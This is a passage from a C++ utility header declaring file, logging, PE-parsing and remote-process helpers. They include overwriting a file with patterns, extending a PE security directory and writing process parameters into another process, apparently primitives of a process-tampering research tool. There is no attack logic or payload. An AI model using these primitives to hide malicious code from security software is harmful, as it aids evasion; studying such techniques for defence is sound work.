/// </param>
/// <param name="Argv">
/// Command line arguments.
/// </param>
/// <returns>
/// Success if "--help", "-h", "/h", "-?", or "/?" are found in the
/// command line arguments.
/// </returns>
_Must_inspect_result_ HRESULT CheckForHelpOptions(
_In_ int Argc,
_In_reads_(Argc) const wchar_t* Argv[]);
/// <summary>
/// Handles command line arguments for a argument parser. If a help
/// option is found or the parser fails. The function prints the header
/// and usage text to stdout and return failure.
/// </summary>
/// <param name="Argc">
/// Number of command line arguments.
/// </param>
/// <param name="Argv">
/// Command line arguments.
/// </param>
/// <param name="Header">
/// Header to print before usage.
/// </param>
/// <param name="Parser">
/// Argument parser to use.
/// </param>
/// <returns>
/// Success if the arguments were parsed successfully. Failure if the
/// arguments were invalid or a help option was found.
/// </returns>
_Must_inspect_result_ HRESULT HandleCommandLineArgs(
_In_ int Argc,
_In_reads_(Argc) const wchar_t* Argv[],
_In_opt_ std::optional<std::wstring_view> Header,
_Inout_ IArgumentParser& Parser);
#pragma warning(push)
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
/// <summary>
/// Removes all occurrences of a set of values from an object.
/// </summary>
/// <typeparam name="T">
/// Object type to remove elements of. Must implement erase, be forward
/// iterate-able, and contained value type must be move assignable.
/// </typeparam>
/// <param name="Object">
/// Object to erase elements from.
/// </param>
/// <param name="Values">
/// Values to remove.
/// </param>
template <typename T>
void EraseAll(
_Inout_ T& Object,
_In_ const std::initializer_list<typename T::value_type>& Values)
{
for (const auto& value : Values)
{
Object.erase(std::remove(Object.begin(),
Object.end(),
value),
Object.end());
}
}
#pragma warning(pop)
/// <summary>
/// Formats an error code as a string.
/// </summary>
/// <param name="Error">
/// Error code to format as a string.
/// </param>
/// <returns>
/// Human readable string for the error code if the error is unknown a
/// string is returned formatted as "[number] - Unknown Error".
/// </returns>
std::wstring FormatError(_In_ uint32_t Error);
/// <summary>
/// Sets the logging mask.
/// </summary>
/// <param name="Level">
/// Logging mask to set.
/// </param>
void SetLoggingMask(_In_ uint32_t Level);
/// <summary>
/// Logs a string.
/// </summary>
/// <param name="Level">
/// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.
/// </param>
/// <param name="Format">
/// Format for log string.
/// </param>
/// <param name="...">
/// Variadic arguments for formatting.
/// </param>
void Log(
_In_ uint32_t Level,
_Printf_format_string_ const wchar_t* Format,
...);
/// <summary>
/// Logs a string with a specified error code appended to the formatted
/// string.
/// </summary>
/// <param name="Level">
/// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.
/// </param>
/// <param name="Error">
/// Error code.
/// </param>
/// <param name="Format">
/// Format for log string.
/// </param>
/// <param name="...">
/// Variadic arguments for formatting.
/// </param>
/// <returns>
/// Supplied Error
/// </returns>
uint32_t Log(
_In_ uint32_t Level,
_In_ uint32_t Error,
_Printf_format_string_ const wchar_t* Format,
...);
/// <summary>
/// Generates a buffer of a given length containing a supplied pattern.
/// </summary>
/// <param name="Buffer">
/// Buffer to fill with the patter, must not be empty.
/// </param>
/// <param name="Pattern">
/// Pattern to write into the buffer.
/// </param>
/// <returns>
/// Success when the buffer is filled with the pattern. Failure if Buffer
/// is empty.
/// </returns>
_Must_inspect_result_ HRESULT FillBufferWithPattern(
_Inout_ std::vector<uint8_t>& Buffer,
_In_ std::span<const uint8_t> Pattern);
/// <summary>
/// Generates a buffer of random bytes of a given length.
/// </summary>
/// <param name="Buffer">
/// Buffer to assign the bytes to, must not be empty.
/// </param>
/// <returns>
/// Success if the buffer is filled with random bytes.
/// </returns>
_Must_inspect_result_ HRESULT FillBufferWithRandomBytes(
_Inout_ std::vector<uint8_t>& Buffer);
/// <summary>
/// Gets a file size.
/// </summary>
/// <param name="FileHandle">
/// File to get the size of.
/// </param>
/// <param name="FileSize">
/// Set to the size of the file on success.
/// </param>
/// <returns>
/// Success if the file size of retrieved.
/// </returns>
_Must_inspect_result_ HRESULT GetFileSize(
_In_ handle_t FileHandle,
_Out_ uint64_t& FileSize);
/// <summary>
/// Sets a file pointer.
/// </summary>
/// <param name="FileHandle">
/// File to set the pointer of.
/// </param>
/// <param name="DistanceToMove">
/// Distance to move the file pointer.
/// </param>
/// <param name="MoveMethod">
/// Move method to use (FILE_BEGIN, FILE_CURRENT, FILE_END).
/// </param>
/// <returns>
/// Success if the file pointer was set (or was already set).
/// </returns>
_Must_inspect_result_ HRESULT SetFilePointer(
_In_ handle_t FileHandle,
_In_ int64_t DistanceToMove,
_In_ uint32_t MoveMethod);
/// <summary>
/// Copies the contents for a source file to the target by handle.
/// </summary>
/// <param name="SourceHandle">
/// Source file handle.
/// </param>
/// <param name="TargetHandle">
/// Target file handle.
/// </param>
/// <param name="FlushFile">
/// Flushes file buffers after copy, optional, defaults to true.
/// </param>
/// <returns>
/// Success if the source file has been copied to the target.
/// </returns>
_Must_inspect_result_ HRESULT CopyFileByHandle(
_In_ handle_t SourceHandle,
_In_ handle_t TargetHandle,
_In_ bool FlushFile = true);
/// <summary>
/// Overwrites the contents of a file with a pattern.
/// </summary>
/// <param name="FileHandle">
/// Target file to overwrite.
/// </param>
/// <param name="Pattern">
/// Pattern write over the file content.
/// </param>
/// <param name="PatternLength">
/// Length of Pattern buffer.
/// </param>
/// <param name="FlushFile">
/// Flushes file buffers after overwrite, optional, defaults to true.
/// </param>
/// <returns>
/// Success if the file content was overwritten.
/// </returns>
_Must_inspect_result_ HRESULT OverwriteFileContentsWithPattern(
_In_ handle_t FileHandle,
_In_ std::span<const uint8_t> Pattern,
_In_ bool FlushFile = true);
/// <summary>
/// Extends file to meet a new size writes a pattern to the extension.
/// </summary>
/// <param name="FileHandle">
/// Target file to extend.
/// </param>
/// <param name="NewFileSize">
/// New size of the file.
/// </param>
/// <param name="Pattern">
/// Pattern to use to extend the target file with.
/// </param>
/// <param name="AppendedBytes">
/// Number of bytes appended.
/// </param>
/// <param name="FlushFile">
/// Flushes file buffers after extension, optional, defaults to true.
/// </param>
/// <returns>
/// Success if the file was extended.
/// </returns>
_Must_inspect_result_ HRESULT ExtendFileWithPattern(
_In_ handle_t FileHandle,
_In_ uint64_t NewFileSize,
_In_ std::span<const uint8_t> Pattern,
_Out_ uint32_t& AppendedBytes,
_In_ bool FlushFile = true);
/// <summary>
/// Overwrites a file from a given offset with a pattern.
/// </summary>
/// <param name="FileHandle">
/// Target file to overwrite.
/// </param>
/// <param name="FileOffset">
/// Offset to begin writing from.
/// </param>
/// <param name="Pattern">
/// Pattern to use to extend the target file with.
/// </param>
/// <param name="WrittenBytes">
/// Number of bytes written.
/// </param>
/// <param name="FlushFile">
/// Flushes file buffers after overwrite, optional, defaults to true.
/// </param>
/// <returns>
/// Success if the file was overwritten.
/// </returns>
_Must_inspect_result_ HRESULT OverwriteFileAfterWithPattern(
_In_ handle_t FileHandle,
_In_ uint64_t FileOffset,
_In_ std::span<const uint8_t> Pattern,
_Out_ uint32_t& WrittenBytes,
_In_ bool FlushFile = true);
/// <summary>
/// Extends a PE file security directory by a number of bytes.
/// </summary>
/// <param name="FileHandle">
/// Target file handle.
/// </param>
/// <param name="ExtendedBy">
/// Number of bytes to extend the security directory by.
/// </param>
/// <param name="FlushFile">
/// Flushes file buffers after extension, optional, defaults to true.
/// </param>
/// <returns>
/// Success if the security directory was extended. Failure if the file is
/// not a PE file or does not have a security directory.
/// </returns>
_Must_inspect_result_ HRESULT ExtendFileSecurityDirectory(
_In_ handle_t FileHandle,
_In_ uint32_t ExtendedBy,
_In_ bool FlushFile = true);
/// <summary>
/// Retrieves the image entry point RVA from a file.
/// </summary>
/// <param name="FileHandle">
/// File to parse for the entry point RVA.
/// </param>
/// <param name="EntryPointRva">
/// Set to the entry point RVA on success.
/// </param>
/// <returns>
/// Success if the PE image entry RVA is located.
/// </returns>
_Must_inspect_result_ HRESULT GetImageEntryPointRva(
_In_ handle_t FileHandle,
_Out_ uint32_t& EntryPointRva);
/// <summary>
/// Writes remote process parameters into target process.
/// </summary>
/// <param name="ProcessHandle">
/// Process to write parameters into.
/// </param>
/// <param name="DllPath">
/// Dll path to write into the parameters, optional.
/// </param>
/// <param name="ImageFileName">
/// Image file name to write into the parameters.
/// </param>
/// <param name="CurrentDirectory">
/// Current directory to write into the parameters, optional.
/// </param>
/// <param name="CommandLine">
/// Command line to write into the parameters, optional.
/// </param>
/// <param name="EnvironmentBlock">
/// Environment block to write into the parameters, optional.
/// </param>
/// <param name="WindowTitle">
/// Window title to write into the parameters, optional.
/// </param>
/// <param name="DesktopInfo">
/// Desktop info to write into the parameters, optional.
/// </param>
/// <param name="ShellInfo">
/// ShellInfo to write into the parameters, optional.
/// </param>
/// <param name="RuntimeData">
/// Runtime data to write into the parameters, optional.
/// </param>
/// <returns>
/// Success if the remote process parameters are written.
/// </returns>
_Must_inspect_result_ HRESULT WriteRemoteProcessParameters(
_In_ handle_t ProcessHandle,
_In_ const std::wstring ImageFileName,
_In_opt_ const std::optional<std::wstring>& DllPath,
_In_opt_ const std::optional<std::wstring>& CurrentDirectory,
_In_opt_ const std::optional<std::wstring>& CommandLine,
_In_opt_ void* EnvironmentBlock,
_In_opt_ const std::optional<std::wstring>& WindowTitle,
_In_opt_ const std::optional<std::wstring>& DesktopInfo,
_In_opt_ const std::optional<std::wstring>& ShellInfo,
_In_opt_ const std::optional<std::wstring>& RuntimeData);
}